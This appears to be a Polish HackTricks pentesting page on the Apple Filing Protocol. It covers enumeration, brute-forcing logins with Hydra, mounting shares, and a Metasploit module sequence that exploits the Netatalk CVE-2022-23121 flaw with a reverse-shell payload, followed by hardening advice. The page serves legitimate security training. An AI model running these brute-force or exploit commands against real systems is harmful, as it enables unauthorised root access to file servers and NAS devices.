548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Apple Filing Protocol (AFP), dawniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład Apple File Service (AFS). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień w stylu POSIX i ACL, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.
Chociaż AFP został zastąpiony przez SMB w nowoczesnych wersjach macOS (SMB jest domyślnym protokołem od OS X 10.9), nadal można go spotkać w:
- Środowiskach legacy macOS / Mac OS 9
- Urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…), które zawierają otwartoźródłowy demon Netatalk
- Sieciach z mieszanymi systemami operacyjnymi, gdzie Time-Machine-over-AFP jest nadal włączone
Domyślny port TCP: 548 (AFP przez TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeracja
Szybki baner / informacje o serwerze
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Przydatne skrypty NSE dla AFP:
Skrypt | Co robi |
---|---|
afp-ls | Wyświetla dostępne wolumeny i pliki AFP |
afp-brute | Atak brute-force na hasło logowania AFP |
afp-serverinfo | Wyciąga nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM-y itp. |
afp-showmount | Wyświetla udostępnienia wraz z ich ACL-ami |
afp-path-vuln | Wykrywa (i może wykorzystać) ataki typu directory-traversal, CVE-2010-0533 |
Skrypt brute-force NSE można połączyć z Hydra/Medusa, jeśli wymagana jest większa kontrola:
hydra -L users.txt -P passwords.txt afp://<IP>
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (używając afpfs-ng
‑ pakowanego w większości dystrybucji)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Po zamontowaniu pamiętaj, że klasyczne zasoby Maca są przechowywane jako ukryte pliki ._*
AppleDouble – często zawierają interesujące metadane, które narzędzia DFIR pomijają.
Powszechne podatności i eksploatacja
Netatalk nieautoryzowany łańcuch RCE (2022)
Kilku dostawców NAS dostarczyło Netatalk ≤3.1.12. Brak sprawdzania granic w parse_entries()
pozwala atakującemu na skonstruowanie złośliwego nagłówka AppleDouble i uzyskanie zdalnego dostępu root przed uwierzytelnieniem (CVSS 9.8 – CVE-2022-23121). Pełny opis od NCC Group z PoC wykorzystującym Western-Digital PR4100 jest dostępny.
Metasploit (>= 6.3) zawiera moduł exploit/linux/netatalk/parse_entries
, który dostarcza ładunek za pomocą DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Jeśli cel działa na podatnym firmware QNAP/Synology, udane wykorzystanie skutkuje uzyskaniem powłoki jako root.
Przepełnienie sterty OpenSession w Netatalk (2018)
Starsze wersje Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza zakresem w obsłudze DSI OpenSession, co pozwala na wykonanie nieautoryzowanego kodu (CVE-2018-1160). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.
Inne istotne problemy
- CVE-2022-22995 – Przekierowanie symlinków prowadzące do zapisu dowolnych plików / RCE, gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
- CVE-2010-0533 – Przechodzenie przez katalogi w Apple Mac OS X 10.6 AFP (wykryte przez
afp-path-vuln.nse
). - Naprawiono wiele błędów związanych z bezpieczeństwem pamięci w Netatalk 4.x (2024) – zaleca się aktualizację zamiast łatania poszczególnych CVE.
Rekomendacje obronne
- Wyłącz AFP, chyba że jest to ściśle wymagane – użyj zamiast tego SMB3 lub NFS.
- Jeśli AFP musi pozostać, zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x, lub zastosuj firmware dostawcy, który wprowadza poprawki z lat 2022/2023/2024.
- Wymuś Silne UAM (np. DHX2), wyłącz logowanie w czystym tekście i gości.
- Ogranicz TCP 548 do zaufanych podsieci i umieść AFP w VPN, gdy jest wystawione zdalnie.
- Okresowo skanuj za pomocą
nmap -p 548 --script afp-*
w CI/CD, aby wykryć nieautoryzowane / obniżone urządzenia.
Brute-Force
Referencje
- Netatalk Security Advisory CVE-2022-23121 – "Wykonanie dowolnego kodu w parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Wykorzystywanie 18-letniego błędu (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.